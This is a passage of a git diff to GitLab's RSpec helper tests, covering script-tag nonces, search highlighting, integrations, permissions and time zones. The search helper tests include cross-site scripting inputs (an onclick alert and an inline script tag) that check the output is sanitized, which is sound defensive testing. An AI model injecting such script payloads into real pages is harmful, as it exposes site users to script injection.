- before do
- stub_feature_flags(unified_diff_lines: false)
- end
-
- it 'returns parallel view' do
- expect(helper.unified_diff_lines_view_type(project)).to eq :parallel
- end
- end
- end
end
diff --git a/spec/helpers/emails_helper_spec.rb b/spec/helpers/emails_helper_spec.rb
index ef8b342a3f6..58ed5901d45 100644
--- a/spec/helpers/emails_helper_spec.rb
+++ b/spec/helpers/emails_helper_spec.rb
@@ -296,7 +296,7 @@ RSpec.describe EmailsHelper do
end
with_them do
- it 'Produces the right List-Id' do
+ it 'produces the right List-Id' do
project = double("project")
allow(project).to receive(:full_path).and_return(full_path)
allow(project).to receive(:id).and_return(12345)
diff --git a/spec/helpers/gitlab_script_tag_helper_spec.rb b/spec/helpers/gitlab_script_tag_helper_spec.rb
new file mode 100644
index 00000000000..37413b9b1c2
--- /dev/null
+++ b/spec/helpers/gitlab_script_tag_helper_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabScriptTagHelper do
+ before do
+ allow(helper).to receive(:content_security_policy_nonce).and_return('noncevalue')
+ end
+
+ describe 'external script tag' do
+ let(:script_url) { 'test.js' }
+
+ it 'returns a script tag with defer=true and a nonce' do
+ expect(helper.javascript_include_tag(script_url).to_s)
+ .to eq "<script src=\"/javascripts/#{script_url}\" defer=\"defer\" nonce=\"noncevalue\"></script>"
+ end
+ end
+
+ describe 'inline script tag' do
+ let(:tag_with_nonce) {"<script nonce=\"noncevalue\">\n//<![CDATA[\nalert(1)\n//]]>\n</script>"}
+ let(:tag_with_nonce_and_type) {"<script type=\"application/javascript\" nonce=\"noncevalue\">\n//<![CDATA[\nalert(1)\n//]]>\n</script>"}
+
+ it 'returns a script tag with a nonce using block syntax' do
+ expect(helper.javascript_tag { 'alert(1)' }.to_s).to eq tag_with_nonce
+ end
+
+ it 'returns a script tag with a nonce using block syntax with options' do
+ expect(helper.javascript_tag(type: 'application/javascript') { 'alert(1)' }.to_s).to eq tag_with_nonce_and_type
+ end
+
+ it 'returns a script tag with a nonce using argument syntax' do
+ expect(helper.javascript_tag('alert(1)').to_s).to eq tag_with_nonce
+ end
+
+ it 'returns a script tag with a nonce using argument syntax with options' do
+ expect(helper.javascript_tag( 'alert(1)', type: 'application/javascript').to_s).to eq tag_with_nonce_and_type
+ end
+
+ # This scenario does not really make sense, but it's supported so we test it
+ it 'returns a script tag with a nonce using argument and block syntax with options' do
+ expect(helper.javascript_tag( '// ignored', type: 'application/javascript') { 'alert(1)' }.to_s).to eq tag_with_nonce_and_type
+ end
+ end
+end
diff --git a/spec/helpers/groups/group_members_helper_spec.rb b/spec/helpers/groups/group_members_helper_spec.rb
index bb92445cb19..222cca43860 100644
--- a/spec/helpers/groups/group_members_helper_spec.rb
+++ b/spec/helpers/groups/group_members_helper_spec.rb
@@ -74,13 +74,15 @@ RSpec.describe Groups::GroupMembersHelper do
before do
allow(helper).to receive(:group_group_member_path).with(group, ':id').and_return('/groups/foo-bar/-/group_members/:id')
+ allow(helper).to receive(:can?).with(current_user, :admin_group_member, group).and_return(true)
end
it 'returns expected hash' do
expect(helper.group_members_list_data_attributes(group, present_members([group_member]))).to include({
members: helper.members_data_json(group, present_members([group_member])),
member_path: '/groups/foo-bar/-/group_members/:id',
- group_id: group.id
+ group_id: group.id,
+ can_manage_members: 'true'
})
end
end
diff --git a/spec/helpers/icons_helper_spec.rb b/spec/helpers/icons_helper_spec.rb
index c05b2b206cc..4784d0aff26 100644
--- a/spec/helpers/icons_helper_spec.rb
+++ b/spec/helpers/icons_helper_spec.rb
@@ -5,21 +5,6 @@ require 'spec_helper'
RSpec.describe IconsHelper do
let(:icons_path) { ActionController::Base.helpers.image_path("icons.svg") }
- describe 'icon' do
- it 'returns aria-hidden by default' do
- star = icon('star')
-
- expect(star['aria-hidden']).to eq 'aria-hidden'
- end
-
- it 'does not return aria-hidden if aria-label is set' do
- up = icon('up', 'aria-label' => 'up')
-
- expect(up['aria-hidden']).to be_nil
- expect(up['aria-label']).to eq 'aria-label'
- end
- end
-
describe 'sprite_icon_path' do
it 'returns relative path' do
expect(sprite_icon_path).to eq(icons_path)
@@ -86,7 +71,7 @@ RSpec.describe IconsHelper do
it 'does not raise in production mode' do
stub_rails_env('production')
- expect(File).not_to receive(:read)
+ expect_file_not_to_read(Rails.root.join('node_modules/@gitlab/svgs/dist/icons.json'))
expect { sprite_icon(non_existing) }.not_to raise_error
end
diff --git a/spec/helpers/issuables_helper_spec.rb b/spec/helpers/issuables_helper_spec.rb
index 0e3752f220e..57845904d32 100644
--- a/spec/helpers/issuables_helper_spec.rb
+++ b/spec/helpers/issuables_helper_spec.rb
@@ -44,6 +44,30 @@ RSpec.describe IssuablesHelper do
end
end
+ describe '#issuable_meta' do
+ let(:user) { create(:user) }
+
+ let_it_be(:project) { create(:project) }
+
+ describe 'author status' do
+ let(:issuable) { build(:merge_request, source_project: project, author: user, created_at: '2020-01-30') }
+
+ it 'displays an emoji if the user status is set' do
+ user.status = UserStatus.new(message: 'lol')
+ content = helper.issuable_meta(issuable, project)
+ expect(content).to match('<span class="user-status-emoji has-tooltip" title="lol" data-html="true" data-placement="top">')
+ expect(content).to match('<gl-emoji title="speech balloon" data-name="speech_balloon" data-unicode-version="6.0">')
+ end
+
+ it 'does not displays an emoji if the user status is not set' do
+ user.status = UserStatus.new
+ content = helper.issuable_meta(issuable, project)
+ expect(content).not_to match('class="user-status-emoji has-tooltip"')
+ expect(content).not_to match('gl-emoji')
+ end
+ end
+ end
+
describe '#issuables_state_counter_text' do
let(:user) { create(:user) }
@@ -194,7 +218,7 @@ RSpec.describe IssuablesHelper do
assign(:project, issue.project)
end
- it 'sets sentryIssueIdentifier to nil with no sentry issue ' do
+ it 'sets sentryIssueIdentifier to nil with no sentry issue' do
expect(helper.issuable_initial_data(issue)[:sentryIssueIdentifier])
.to be_nil
end
diff --git a/spec/helpers/markup_helper_spec.rb b/spec/helpers/markup_helper_spec.rb
index 6c5855eeb91..45e8a2e7e1a 100644
--- a/spec/helpers/markup_helper_spec.rb
+++ b/spec/helpers/markup_helper_spec.rb
@@ -316,6 +316,7 @@ RSpec.describe MarkupHelper do
describe '#render_wiki_content' do
let(:wiki) { double('WikiPage', path: "file.#{extension}") }
let(:wiki_repository) { double('Repository') }
+ let(:content) { 'wiki content' }
let(:context) do
{
pipeline: :wiki, project: project, wiki: wiki,
@@ -325,9 +326,11 @@ RSpec.describe MarkupHelper do
end
before do
- expect(wiki).to receive(:content).and_return('wiki content')
+ expect(wiki).to receive(:content).and_return(content)
expect(wiki).to receive(:slug).and_return('nested/page')
expect(wiki).to receive(:repository).and_return(wiki_repository)
+ allow(wiki).to receive(:container).and_return(project)
+
helper.instance_variable_set(:@wiki, wiki)
end
@@ -339,6 +342,19 @@ RSpec.describe MarkupHelper do
helper.render_wiki_content(wiki)
end
+
+ context 'when context has labels' do
+ let_it_be(:label) { create(:label, title: 'Bug', project: project) }
+
+ let(:content) { '~Bug' }
+
+ it 'renders label' do
+ result = helper.render_wiki_content(wiki)
+ doc = Nokogiri::HTML.parse(result)
+
+ expect(doc.css('.gl-label-link')).not_to be_empty
+ end
+ end
end
context 'when file is Asciidoc' do
diff --git a/spec/helpers/merge_requests_helper_spec.rb b/spec/helpers/merge_requests_helper_spec.rb
index 153dc19335b..377e2c43a72 100644
--- a/spec/helpers/merge_requests_helper_spec.rb
+++ b/spec/helpers/merge_requests_helper_spec.rb
@@ -6,26 +6,6 @@ RSpec.describe MergeRequestsHelper do
include ActionView::Helpers::UrlHelper
include ProjectForksHelper
- describe 'ci_build_details_path' do
- let(:project) { create(:project) }
- let(:merge_request) { MergeRequest.new }
- let(:ci_service) { CiService.new }
- let(:last_commit) { Ci::Pipeline.new({}) }
-
- before do
- allow(merge_request).to receive(:source_project).and_return(project)
- allow(merge_request).to receive(:last_commit).and_return(last_commit)
- allow(project).to receive(:ci_service).and_return(ci_service)
- allow(last_commit).to receive(:sha).and_return('12d65c')
- end
-
- it 'does not include api credentials in a link' do
- allow(ci_service)
- .to receive(:build_page).and_return("http://secretuser:secretpass@jenkins.example.com:8888/job/test1/scm/bySHA1/12d65c")
- expect(helper.ci_build_details_path(merge_request)).not_to match("secret")
- end
- end
-
describe '#state_name_with_icon' do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/helpers/nav_helper_spec.rb b/spec/helpers/nav_helper_spec.rb
index b1c9485e5a1..c4795a814ba 100644
--- a/spec/helpers/nav_helper_spec.rb
+++ b/spec/helpers/nav_helper_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe NavHelper, :do_not_mock_admin_mode do
+RSpec.describe NavHelper do
describe '#header_links' do
include_context 'custom session'
diff --git a/spec/helpers/notifications_helper_spec.rb b/spec/helpers/notifications_helper_spec.rb
index 5e37e56c612..555cffba614 100644
--- a/spec/helpers/notifications_helper_spec.rb
+++ b/spec/helpers/notifications_helper_spec.rb
@@ -20,10 +20,19 @@ RSpec.describe NotificationsHelper do
end
describe '#notification_event_name' do
- it { expect(notification_event_name(:success_pipeline)).to match('Successful pipeline') }
- it { expect(notification_event_name(:failed_pipeline)).to match('Failed pipeline') }
- it { expect(notification_event_name(:fixed_pipeline)).to match('Fixed pipeline') }
- it { expect(notification_event_name(:moved_project)).to match('Moved project') }
+ context 'for success_pipeline' do
+ it 'returns the custom name' do
+ expect(FastGettext).to receive(:cached_find).with('NotificationEvent|Successful pipeline')
+ expect(notification_event_name(:success_pipeline)).to eq('Successful pipeline')
+ end
+ end
+
+ context 'for everything else' do
+ it 'returns a humanized name' do
+ expect(FastGettext).to receive(:cached_find).with('NotificationEvent|Failed pipeline')
+ expect(notification_event_name(:failed_pipeline)).to eq('Failed pipeline')
+ end
+ end
end
describe '#notification_icon_level' do
diff --git a/spec/helpers/operations_helper_spec.rb b/spec/helpers/operations_helper_spec.rb
index 09f9bba8f9e..801d5de79b1 100644
--- a/spec/helpers/operations_helper_spec.rb
+++ b/spec/helpers/operations_helper_spec.rb
@@ -21,20 +21,15 @@ RSpec.describe OperationsHelper do
end
context 'initial service configuration' do
- let_it_be(:alerts_service) { AlertsService.new(project: project) }
let_it_be(:prometheus_service) { PrometheusService.new(project: project) }
before do
- allow(project).to receive(:find_or_initialize_service).with('alerts').and_return(alerts_service)
+ allow(project).to receive(:find_or_initialize_service).and_call_original
allow(project).to receive(:find_or_initialize_service).with('prometheus').and_return(prometheus_service)
end
it 'returns the correct values' do
expect(subject).to eq(
- 'activated' => 'false',
- 'url' => alerts_service.url,
- 'authorization_key' => nil,
- 'form_path' => project_service_path(project, alerts_service),
'alerts_setup_url' => help_page_path('operations/incident_management/alert_integrations.md', anchor: 'generic-http-endpoint'),
'alerts_usage_url' => project_alert_management_index_path(project),
'prometheus_form_path' => project_service_path(project, prometheus_service),
@@ -104,33 +99,6 @@ RSpec.describe OperationsHelper do
end
end
end
-
- context 'with generic alerts service configured' do
- let_it_be(:alerts_service) { create(:alerts_service, project: project) }
-
- context 'with generic alerts enabled' do
- it 'returns the correct values' do
- expect(subject).to include(
- 'activated' => 'true',
- 'authorization_key' => alerts_service.token,
- 'url' => alerts_service.url
- )
- end
- end
-
- context 'with generic alerts disabled' do
- before do
- alerts_service.update!(active: false)
- end
-
- it 'returns the correct values' do
- expect(subject).to include(
- 'activated' => 'false',
- 'authorization_key' => alerts_service.token
- )
- end
- end
- end
end
describe '#operations_settings_data' do
diff --git a/spec/helpers/projects/alert_management_helper_spec.rb b/spec/helpers/projects/alert_management_helper_spec.rb
index f6d0c9ca49a..fd35c1ecab8 100644
--- a/spec/helpers/projects/alert_management_helper_spec.rb
+++ b/spec/helpers/projects/alert_management_helper_spec.rb
@@ -39,28 +39,6 @@ RSpec.describe Projects::AlertManagementHelper do
end
end
- context 'with alerts service' do
- let_it_be(:alerts_service) { create(:alerts_service, project: project) }
-
- context 'when alerts service is active' do
- it 'enables alert management' do
- expect(data).to include(
- 'alert-management-enabled' => 'true'
- )
- end
- end
-
- context 'when alerts service is inactive' do
- it 'disables alert management' do
- alerts_service.update!(active: false)
-
- expect(data).to include(
- 'alert-management-enabled' => 'false'
- )
- end
- end
- end
-
context 'with prometheus service' do
let_it_be(:prometheus_service) { create(:prometheus_service, project: project) }
@@ -105,6 +83,16 @@ RSpec.describe Projects::AlertManagementHelper do
end
end
+ context 'with an alert' do
+ let_it_be(:alert) { create(:alert_management_alert, project: project) }
+
+ it 'enables alert management' do
+ expect(data).to include(
+ 'alert-management-enabled' => 'true'
+ )
+ end
+ end
+
context 'when user does not have requisite enablement permissions' do
let(:user_can_enable_alert_management) { false }
diff --git a/spec/helpers/projects/terraform_helper_spec.rb b/spec/helpers/projects/terraform_helper_spec.rb
index de363c42d21..70b08f4139b 100644
--- a/spec/helpers/projects/terraform_helper_spec.rb
+++ b/spec/helpers/projects/terraform_helper_spec.rb
@@ -5,10 +5,11 @@ require 'spec_helper'
RSpec.describe Projects::TerraformHelper do
describe '#js_terraform_list_data' do
let_it_be(:project) { create(:project) }
+ let(:current_user) { project.creator }
- subject { helper.js_terraform_list_data(project) }
+ subject { helper.js_terraform_list_data(current_user, project) }
- it 'displays image path' do
+ it 'includes image path' do
image_path = ActionController::Base.helpers.image_path(
'illustrations/empty-state/empty-serverless-lg.svg'
)
@@ -16,8 +17,28 @@ RSpec.describe Projects::TerraformHelper do
expect(subject[:empty_state_image]).to eq(image_path)
end
- it 'displays project path' do
+ it 'includes project path' do
expect(subject[:project_path]).to eq(project.full_path)
end
+
+ it 'indicates the user is a terraform admin' do
+ expect(subject[:terraform_admin]).to eq(true)
+ end
+
+ context 'when current_user is not a terraform admin' do
+ let(:current_user) { create(:user) }
+
+ it 'indicates the user is not an admin' do
+ expect(subject[:terraform_admin]).to eq(false)
+ end
+ end
+
+ context 'when current_user is missing' do
+ let(:current_user) { nil }
+
+ it 'indicates the user is not an admin' do
+ expect(subject[:terraform_admin]).to be_nil
+ end
+ end
end
end
diff --git a/spec/helpers/projects_helper_spec.rb b/spec/helpers/projects_helper_spec.rb
index 9635a6f9c82..d28d5ecda1b 100644
--- a/spec/helpers/projects_helper_spec.rb
+++ b/spec/helpers/projects_helper_spec.rb
@@ -416,6 +416,7 @@ RSpec.describe ProjectsHelper do
describe '#get_project_nav_tabs' do
before do
+ allow(helper).to receive(:current_user).and_return(user)
allow(helper).to receive(:can?) { true }
end
@@ -488,24 +489,37 @@ RSpec.describe ProjectsHelper do
describe '#can_view_operations_tab?' do
before do
allow(helper).to receive(:current_user).and_return(user)
+ allow(helper).to receive(:can?).and_return(false)
end
subject { helper.send(:can_view_operations_tab?, user, project) }
- [
- :metrics_dashboard,
- :read_alert_management_alert,
- :read_environment,
- :read_issue,
- :read_sentry_issue,
- :read_cluster
- ].each do |ability|
+ where(:ability) do
+ [
+ :metrics_dashboard,
+ :read_alert_management_alert,
+ :read_environment,
+ :read_issue,
+ :read_sentry_issue,
+ :read_cluster
+ ]
+ end
+
+ with_them do
it 'includes operations tab' do
- allow(helper).to receive(:can?).and_return(false)
allow(helper).to receive(:can?).with(user, ability, project).and_return(true)
is_expected.to be(true)
end
+
+ context 'when operations feature is disabled' do
+ it 'does not include operations tab' do
+ allow(helper).to receive(:can?).with(user, ability, project).and_return(true)
+ project.project_feature.update_attribute(:operations_access_level, ProjectFeature::DISABLED)
+
+ is_expected.to be(false)
+ end
+ end
end
end
@@ -1010,4 +1024,34 @@ RSpec.describe ProjectsHelper do
subject
end
end
+
+ describe '#project_permissions_settings' do
+ context 'with no project_setting associated' do
+ it 'includes a value for edit commit messages' do
+ settings = project_permissions_settings(project)
+
+ expect(settings[:allowEditingCommitMessages]).to be_falsy
+ end
+ end
+
+ context 'when commits are allowed to be edited' do
+ it 'includes the edit commit message value' do
+ project.create_project_setting(allow_editing_commit_messages: true)
+
+ settings = project_permissions_settings(project)
+
+ expect(settings[:allowEditingCommitMessages]).to be_truthy
+ end
+ end
+
+ context 'when commits are not allowed to be edited' do
+ it 'returns false to the edit commit message value' do
+ project.create_project_setting(allow_editing_commit_messages: false)
+
+ settings = project_permissions_settings(project)
+
+ expect(settings[:allowEditingCommitMessages]).to be_falsy
+ end
+ end
+ end
end
diff --git a/spec/helpers/rss_helper_spec.rb b/spec/helpers/rss_helper_spec.rb
index c7eb33dc6f7..05f6ebb6c1b 100644
--- a/spec/helpers/rss_helper_spec.rb
+++ b/spec/helpers/rss_helper_spec.rb
@@ -18,5 +18,14 @@ RSpec.describe RssHelper do
expect(helper.rss_url_options[:feed_token]).to be_nil
end
end
+
+ context 'when feed_token disabled' do
+ it "does not have a feed_token" do
+ current_user = create(:user)
+ allow(helper).to receive(:current_user).and_return(current_user)
+ allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(true)
+ expect(helper.rss_url_options[:feed_token]).to be_nil
+ end
+ end
end
end
diff --git a/spec/helpers/search_helper_spec.rb b/spec/helpers/search_helper_spec.rb
index 34af3ce7e5e..2cb9d66ac63 100644
--- a/spec/helpers/search_helper_spec.rb
+++ b/spec/helpers/search_helper_spec.rb
@@ -104,6 +104,37 @@ RSpec.describe SearchHelper do
})
end
+ it 'includes the users recently viewed issues with the exact same name', :aggregate_failures do
+ recent_issues = instance_double(::Gitlab::Search::RecentIssues)
+ expect(::Gitlab::Search::RecentIssues).to receive(:new).with(user: user).and_return(recent_issues)
+ project1 = create(:project, namespace: user.namespace)
+ project2 = create(:project, namespace: user.namespace)
+ issue1 = create(:issue, title: 'issue same_name', project: project1)
+ issue2 = create(:issue, title: 'issue same_name', project: project2)
+
+ expect(recent_issues).to receive(:search).with('the search term').and_return(Issue.id_in_ordered([issue1.id, issue2.id]))
+
+ results = search_autocomplete_opts("the search term")
+
+ expect(results.count).to eq(2)
+
+ expect(results[0]).to include({
+ category: 'Recent issues',
+ id: issue1.id,
+ label: 'issue same_name',
+ url: Gitlab::Routing.url_helpers.project_issue_path(issue1.project, issue1),
+ avatar_url: '' # This project didn't have an avatar so set this to ''
+ })
+
+ expect(results[1]).to include({
+ category: 'Recent issues',
+ id: issue2.id,
+ label: 'issue same_name',
+ url: Gitlab::Routing.url_helpers.project_issue_path(issue2.project, issue2),
+ avatar_url: '' # This project didn't have an avatar so set this to ''
+ })
+ end
+
it 'includes the users recently viewed merge requests', :aggregate_failures do
recent_merge_requests = instance_double(::Gitlab::Search::RecentMergeRequests)
expect(::Gitlab::Search::RecentMergeRequests).to receive(:new).with(user: user).and_return(recent_merge_requests)
@@ -502,11 +533,11 @@ RSpec.describe SearchHelper do
using RSpec::Parameterized::TableSyntax
where(:description, :expected) do
- 'test' | '<span class="gl-text-black-normal gl-font-weight-bold">test</span>'
- '<span style="color: blue;">this test should not be blue</span>' | '<span>this <span class="gl-text-black-normal gl-font-weight-bold">test</span> should not be blue</span>'
- '<a href="#" onclick="alert(\'XSS\')">Click Me test</a>' | '<a href="#">Click Me <span class="gl-text-black-normal gl-font-weight-bold">test</span></a>'
- '<script type="text/javascript">alert(\'Another XSS\');</script> test' | ' <span class="gl-text-black-normal gl-font-weight-bold">test</span>'
- 'Lorem test ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec.' | 'Lorem <span class="gl-text-black-normal gl-font-weight-bold">test</span> ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Don...'
+ 'test' | '<span class="gl-text-gray-900 gl-font-weight-bold">test</span>'
+ '<span style="color: blue;">this test should not be blue</span>' | '<span>this <span class="gl-text-gray-900 gl-font-weight-bold">test</span> should not be blue</span>'
+ '<a href="#" onclick="alert(\'XSS\')">Click Me test</a>' | '<a href="#">Click Me <span class="gl-text-gray-900 gl-font-weight-bold">test</span></a>'
+ '<script type="text/javascript">alert(\'Another XSS\');</script> test' | ' <span class="gl-text-gray-900 gl-font-weight-bold">test</span>'
+ 'Lorem test ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec.' | 'Lorem <span class="gl-text-gray-900 gl-font-weight-bold">test</span> ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Don...'
end
with_them do
diff --git a/spec/helpers/services_helper_spec.rb b/spec/helpers/services_helper_spec.rb
index d6b48b3d565..650642f8982 100644
--- a/spec/helpers/services_helper_spec.rb
+++ b/spec/helpers/services_helper_spec.rb
@@ -28,35 +28,72 @@ RSpec.describe ServicesHelper do
end
end
- describe '#group_level_integrations?' do
- subject { helper.group_level_integrations? }
+ describe '#scoped_reset_integration_path' do
+ let(:integration) { build_stubbed(:jira_service) }
+ let(:group) { nil }
+
+ subject { helper.scoped_reset_integration_path(integration, group: group) }
context 'when no group is present' do
- it { is_expected.to eq(false) }
+ it 'returns instance-level path' do
+ is_expected.to eq(reset_admin_application_settings_integration_path(integration))
+ end
end
context 'when group is present' do
let(:group) { build_stubbed(:group) }
- before do
- assign(:group, group)
+ it 'returns group-level path' do
+ is_expected.to eq(reset_group_settings_integration_path(group, integration))
end
+ end
+ end
+
+ describe '#reset_integration?' do
+ let(:group) { nil }
+
+ subject { helper.reset_integration?(integration, group: group) }
- context 'when `group_level_integrations` is not enabled' do
+ context 'when integration is existing record' do
+ let_it_be(:integration) { create(:jira_service) }
+
+ context 'when `reset_integrations` is not enabled' do
it 'returns false' do
- stub_feature_flags(group_level_integrations: false)
+ stub_feature_flags(reset_integrations: false)
is_expected.to eq(false)
end
end
- context 'when `group_level_integrations` is enabled for the group' do
+ context 'when `reset_integrations` is enabled' do
+ it 'returns true' do
+ stub_feature_flags(reset_integrations: true)
+
+ is_expected.to eq(true)
+ end
+ end
+
+ context 'when `reset_integrations` is enabled for a group' do
+ let(:group) { build_stubbed(:group) }
+
it 'returns true' do
- stub_feature_flags(group_level_integrations: group)
+ stub_feature_flags(reset_integrations: group)
is_expected.to eq(true)
end
end
end
+
+ context 'when integration is a new record' do
+ let_it_be(:integration) { build(:jira_service) }
+
+ context 'when `reset_integrations` is enabled' do
+ it 'returns false' do
+ stub_feature_flags(reset_integrations: true)
+
+ is_expected.to eq(false)
+ end
+ end
+ end
end
end
diff --git a/spec/helpers/sorting_helper_spec.rb b/spec/helpers/sorting_helper_spec.rb
index 1c300aea2df..2d581dfba37 100644
--- a/spec/helpers/sorting_helper_spec.rb
+++ b/spec/helpers/sorting_helper_spec.rb
@@ -77,6 +77,7 @@ RSpec.describe SortingHelper do
sort_value_latest_activity => sort_title_latest_activity,
sort_value_recently_created => sort_title_created_date,
sort_value_name => sort_title_name,
+ sort_value_name_desc => sort_title_name_desc,
sort_value_stars_desc => sort_title_stars
}
end
diff --git a/spec/helpers/storage_helper_spec.rb b/spec/helpers/storage_helper_spec.rb
index 255ec2a41b4..2cec7203fe1 100644
--- a/spec/helpers/storage_helper_spec.rb
+++ b/spec/helpers/storage_helper_spec.rb
@@ -32,10 +32,12 @@ RSpec.describe StorageHelper do
wiki_size: 10.bytes,
lfs_objects_size: 20.gigabytes,
build_artifacts_size: 30.megabytes,
- snippets_size: 40.megabytes))
+ snippets_size: 40.megabytes,
+ packages_size: 12.megabytes,
+ uploads_size: 15.megabytes))
end
- let(:message) { 'Repository: 10 KB / Wikis: 10 Bytes / Build Artifacts: 30 MB / LFS: 20 GB / Snippets: 40 MB' }
+ let(:message) { 'Repository: 10 KB / Wikis: 10 Bytes / Build Artifacts: 30 MB / LFS: 20 GB / Snippets: 40 MB / Packages: 12 MB / Uploads: 15 MB' }
it 'works on ProjectStatistics' do
expect(helper.storage_counters_details(project.statistics)).to eq(message)
diff --git a/spec/helpers/time_zone_helper_spec.rb b/spec/helpers/time_zone_helper_spec.rb
new file mode 100644
index 00000000000..391e9bd38ed
--- /dev/null
+++ b/spec/helpers/time_zone_helper_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe TimeZoneHelper, :aggregate_failures do
+ describe '#timezone_data' do
+ context 'with short format' do
+ subject(:timezone_data) { helper.timezone_data }
+
+ it 'matches schema' do
+ expect(timezone_data).not_to be_empty
+
+ timezone_data.each_with_index do |timezone_hash, i|
+ expect(timezone_hash.keys).to contain_exactly(
+ :identifier,
+ :name,
+ :offset
+ ), "Failed at index #{i}"
+ end
+ end
+
+ it 'formats for display' do
+ tz = ActiveSupport::TimeZone.all[0]
+
+ expect(timezone_data[0]).to eq(
+ identifier: tz.tzinfo.identifier,
+ name: tz.name,
+ offset: tz.now.utc_offset
+ )
+ end
+ end
+
+ context 'with full format' do
+ subject(:timezone_data) { helper.timezone_data(format: :full) }
+
+ it 'matches schema' do
+ expect(timezone_data).not_to be_empty
+
+ timezone_data.each_with_index do |timezone_hash, i|
+ expect(timezone_hash.keys).to contain_exactly(
+ :identifier,
+ :name,
+ :abbr,
+ :offset,
+ :formatted_offset
+ ), "Failed at index #{i}"
+ end
+ end
+
+ it 'formats for display' do
+ tz = ActiveSupport::TimeZone.all[0]
+
+ expect(timezone_data[0]).to eq(
+ identifier: tz.tzinfo.identifier,
+ name: tz.name,
+ abbr: tz.tzinfo.strftime('%Z'),
+ offset: tz.now.utc_offset,
+ formatted_offset: tz.now.formatted_offset
+ )
+ end
+ end
+
+ context 'with unknown format' do
+ subject(:timezone_data) { helper.timezone_data(format: :unknown) }
+
+ it 'raises an exception' do
+ expect { timezone_data }.to raise_error ArgumentError, 'Invalid format :unknown. Valid formats are :short, :full.'
+ end
+ end
+ end
+end
diff --git a/spec/helpers/tree_helper_spec.rb b/spec/helpers/tree_helper_spec.rb
index 620bf248d7b..136ec07e73d 100644
--- a/spec/helpers/tree_helper_spec.rb
+++ b/spec/helpers/tree_helper_spec.rb
@@ -216,6 +216,24 @@ RSpec.describe TreeHelper do
web_ide_url: "/-/ide/project/#{project.full_path}/edit/#{sha}/-/#{@path}"
)
end
+
+ it 'does not load blob from repository again' do
+ blob
+
+ expect(repository).not_to receive(:blob_at)
+
+ subject
+ end
+ end
+
+ context 'nil blob is passed' do
+ let(:blob) { nil }
+
+ it 'does not load blob from repository' do
+ expect(repository).not_to receive(:blob_at)
+
+ subject
+ end
end
context 'user does not have write access but a personal fork exists' do
diff --git a/spec/helpers/user_callouts_helper_spec.rb b/spec/helpers/user_callouts_helper_spec.rb
index 4ab3be877b4..250aedda906 100644
--- a/spec/helpers/user_callouts_helper_spec.rb
+++ b/spec/helpers/user_callouts_helper_spec.rb
@@ -167,8 +167,20 @@ RSpec.describe UserCalloutsHelper do
subject { helper.show_registration_enabled_user_callout? }
+ context 'when on gitlab.com' do
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(true)
+ allow(helper).to receive(:current_user).and_return(admin)
+ stub_application_setting(signup_enabled: true)
+ allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
+ end
+
+ it { is_expected.to be false }
+ end
+
context 'when `current_user` is not an admin' do
before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
allow(helper).to receive(:current_user).and_return(user)
stub_application_setting(signup_enabled: true)
allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
@@ -179,6 +191,7 @@ RSpec.describe UserCalloutsHelper do
context 'when signup is disabled' do
before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
allow(helper).to receive(:current_user).and_return(admin)
stub_application_setting(signup_enabled: false)
allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
@@ -189,6 +202,7 @@ RSpec.describe UserCalloutsHelper do
context 'when user has dismissed callout' do
before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
allow(helper).to receive(:current_user).and_return(admin)
stub_application_setting(signup_enabled: true)
allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { true }
@@ -197,8 +211,9 @@ RSpec.describe UserCalloutsHelper do
it { is_expected.to be false }
end
- context 'when `current_user` is an admin, signup is enabled, and user has not dismissed callout' do
+ context 'when not gitlab.com, `current_user` is an admin, signup is enabled, and user has not dismissed callout' do
before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
allow(helper).to receive(:current_user).and_return(admin)
stub_application_setting(signup_enabled: true)
allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
diff --git a/spec/helpers/users_helper_spec.rb b/spec/helpers/users_helper_spec.rb
index 9ebbf975903..c92c6e6e78e 100644
--- a/spec/helpers/users_helper_spec.rb
+++ b/spec/helpers/users_helper_spec.rb
@@ -272,4 +272,82 @@ RSpec.describe UsersHelper do
end
end
end
+
+ describe '#user_display_name' do
+ subject { helper.user_display_name(user) }
+
+ before do
+ stub_current_user(nil)
+ end
+
+ context 'for a confirmed user' do
+ let(:user) { create(:user) }
+
+ before do
+ stub_profile_permission_allowed(true)
+ end
+
+ it { is_expected.to eq(user.name) }
+ end
+
+ context 'for an unconfirmed user' do
+ let(:user) { create(:user, :unconfirmed) }
+
+ before do
+ stub_profile_permission_allowed(false)
+ end
+
+ it { is_expected.to eq('Unconfirmed user') }
+
+ context 'when current user is an admin' do
+ before do
+ admin_user = create(:admin)
+ stub_current_user(admin_user)
+ stub_profile_permission_allowed(true, admin_user)
+ end
+
+ it { is_expected.to eq(user.name) }
